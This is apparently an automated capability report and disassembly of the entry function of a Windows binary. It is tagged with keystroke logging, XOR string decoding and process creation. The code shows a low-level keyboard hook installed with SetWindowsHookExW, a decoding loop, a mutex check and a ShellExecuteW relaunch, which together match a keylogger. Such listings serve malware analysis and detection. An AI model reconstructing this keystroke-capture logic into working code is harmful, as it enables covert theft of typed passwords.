Function at 0x401000
Capabilities:
Allocate thread local storage
Create process on windows
Encode data using xor
Log keystrokes via application hook

Disassembly:
push 0x880
push 0
push 0x74ad6c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleW
mov dword [0x74ad70], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x74ad6c], eax
call fcn.00422d00
call fcn.004222a9
call fcn.00421f50
call fcn.00420920
call fcn.0041e85c
call fcn.0041e100
call fcn.0041d8af
call fcn.0041d27e
call fcn.0041cd48
call fcn.0041cb87
call fcn.0041c902
call fcn.0041b7e1
call fcn.004197c2
call fcn.004190c6
call fcn.00418b6d
call fcn.004178b0
call fcn.00416ba5
call fcn.00415fc9
call fcn.00415713
call fcn.0041413b
call fcn.00414016
call fcn.00413ce1
call fcn.00412ada
mov edi, str.oMmMkMkMmMoMMMMM
mov ecx, 0x4020
xor byte [edi], 0x4d
inc edi
dec ecx
jne 0x4010bc
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
call fcn.0041416a
call fcn.004121a2
add dword [esp], edx
call fcn.0041a6bc
push 0x74adf8
call fcn.00422d90
mov edx, 0x596100
lea ecx, [0x74ad88]
call fcn.00412008
mov dword [0x74adb8], 1
jmp 0x40111b
mov eax, 0x59310c
push eax
push dword [0x74ad88]
call fcn.00420bd0
mov ebx, eax
inc ebx
cmp ebx, dword [0x74adb8]
jl 0x4012a0
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov edx, 0x593952
push edx
call fcn.00422e20
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x59310c
push eax
push dword [0x74adb8]
push dword [0x74ad88]
call fcn.00420c60
pop eax
call fcn.004121a2
add dword [esp], edx
call fcn.0041a73b
call fcn.004121c0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x40119e
cmp edi, 0xffffffff
je 0x4011a2
xor eax, eax
jmp 0x4011a7
mov eax, 1
or eax, eax
je 0x401294
push edx
call fcn.00422d50
pop edx
push eax
mov edx, 0x595096
push edx
call fcn.00422e20
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
call fcn.0041416a
call fcn.004121a2
add dword [esp], edx
call fcn.0041a94f
pop eax
mov edx, 0x593ed2
push edx
call fcn.00422e20
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
call fcn.0041416a
pop eax
mov edx, 0x596bcc
push edx
call fcn.00422e20
mov edx, dword [0x74adf8]
push edx
call fcn.00422e20
mov edx, 0x5968a4
push edx
call fcn.00422e20
push 0x74ad74
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push 2
mov eax, 0x593036
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov edx, 0x593eac
push edx
call fcn.00422e20
mov edx, dword [0x74ad74]
push edx
call fcn.00422e20
call fcn.00422e80
mov eax, 0x59612e
push eax
call fcn.004121a2
add dword [esp + 4], edx
call fcn.00414209
call fcn.004121c0
jmp 0x4012a0
inc dword [0x74adb8]
jno 0x40111b
mov eax, 0x595074
push eax
push 1
push 0
call sub.KERNEL32.dll_CreateMutexW
mov ebx, eax
and ebx, ebx
je 0x4012c8
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
and ebx, ebx
jne 0x4012c8
jmp 0x4012cf
mov eax, 1
jmp 0x4012d1
xor eax, eax
and eax, eax
je 0x4012da
jmp 0x401785
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
call fcn.0041416a
call fcn.004121a2
add dword [esp], edx
call fcn.0041a6bc
call fcn.004121a2
add dword [esp], edx
call fcn.0041a961
call fcn.004121c0
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push 0
call fcn.004148bc
call fcn.00422e80
push 0x74adc8
call fcn.00422d90
call fcn.0041b9cd
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
push 1
push dword [0x74adc8]
call fcn.00420d90
push eax
mov eax, dword [0x74adc8]
push eax
call fcn.0041c310
call fcn.00422e80
mov edx, 0x593654
call fcn.004121d0
mov ecx, eax
call fcn.004121e0
jne 0x4013c4
push 5
mov eax, 0x593036
push eax
mov eax, 0x593036
push eax
mov eax, 0x596212
push eax
mov eax, 0x593786
push eax
push 0
call sub.SHELL32.dll_ShellExecuteW
jmp 0x401785
mov dword [0x74ad78], 0
mov edx, 0x5965a8
lea ecx, [0x74ad94]
call fcn.00412008
mov eax, 0x200
push eax
lea eax, [0x74b5e8]
push eax
push 0x59706c
push 8
push 4
call fcn.004190e5
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5968f6
push eax
call fcn.0041490a
mov edx, 0x596e8e
push edx
call fcn.00422e20
mov eax, 0x593c66
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5968f6
push eax
call fcn.0041490a
mov edx, 0x596008
push edx
call fcn.00422e20
mov eax, 0x596fb8
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5968f6
push eax
call fcn.0041490a
mov edx, 0x594fc0
push edx
call fcn.00422e20
mov eax, 0x596bfc
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5961cc
push eax
call fcn.0041490a
mov edx, 0x59316e
push edx
call fcn.00422e20
mov eax, 0x596a9a
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5968f6
push eax
call fcn.0041490a
mov edx, 0x596058
push edx
call fcn.00422e20
mov eax, 0x5939c0
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5968f6
push eax
call fcn.0041490a
mov edx, 0x59398a
push edx
call fcn.00422e20
mov eax, 0x593826
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5961cc
push eax
call fcn.0041490a
mov edx, 0x59643c
push edx
call fcn.00422e20
mov eax, 0x593ee6
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x5961cc
push eax
call fcn.0041490a
mov edx, 0x596fc6
push edx
call fcn.00422e20
mov eax, 0x593a0c
push eax
push dword [0x74b5e8]
call fcn.004191b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422d90
call fcn.00414e27
call fcn.00415ea0
call fcn.00419b68
mov edx, 0x594214
lea ecx, [0x74adac]
call fcn.00412008
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
call fcn.00416d0f
push 0x74adb0
call fcn.00422d90
push edx
call fcn.00422d50
pop edx
push eax
push edx
call fcn.00422d50
pop edx
push eax
mov eax, 0x594f42
push eax
call fcn.0041490a
push 0x74adf0
call fcn.00422d90
mov dword [0x74adec], 0
mov dword [0x74ae0c], 0
mov dword [0x74adbc], 0
mov dword [0x74ade0], 0
mov dword [0x74ad90], 1
mov dword [0x74ad7c], 1
mov edx, 0x5965fa
lea ecx, [0x74ada4]
call fcn.00412008
mov dword [0x74adc4], 0xff98
push 0x10000000
mov eax, 0x593036
push eax
push 0
push 0
push 0
push 0
push 0
call fcn.00412b45
and eax, eax
je 0x401785
call fcn.0040f21e
push 0
lea eax, [0x4062c5]
push eax
call fcn.0041406e
push 0
push 0
call sub.KERNEL32.dll_GetModuleHandleW
push eax
lea eax, [0x4068e8]
push eax
push 0xd
call sub.USER32.dll_SetWindowsHookExW
mov dword [0x74ae10], eax
push 0
lea eax, [0x401ed1]
push eax
call fcn.0041406e
mov dword [0x74add0], eax
call fcn.00412ff5
mov dword [0x74ade8], eax
push 1
call fcn.00417440
mov ebx, dword [0x74ade8]
cmp ebx, 0x333c
jne 0x40177f
call fcn.00418c87
mov ebx, eax
and ebx, ebx
jne 0x40177f
mov eax, 1
jmp 0x401781
xor eax, eax
and eax, eax
je 0x40174b
push 0
call 0x4017a4
call fcn.00422d30
push dword [0x74ad6c]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
call fcn.00412ab7
call fcn.00413c8b
call fcn.00413fd4
call fcn.00415707
call fcn.00416b75
call fcn.004178a0
call fcn.00418b4f
call fcn.004197b1
call fcn.0041a49e
call fcn.0041a973
call fcn.0041b7d5
call fcn.0041cd3c
call fcn.0041d8a2
call fcn.00420940
call fcn.00422337
call fcn.00422381
call fcn.00421f40
ret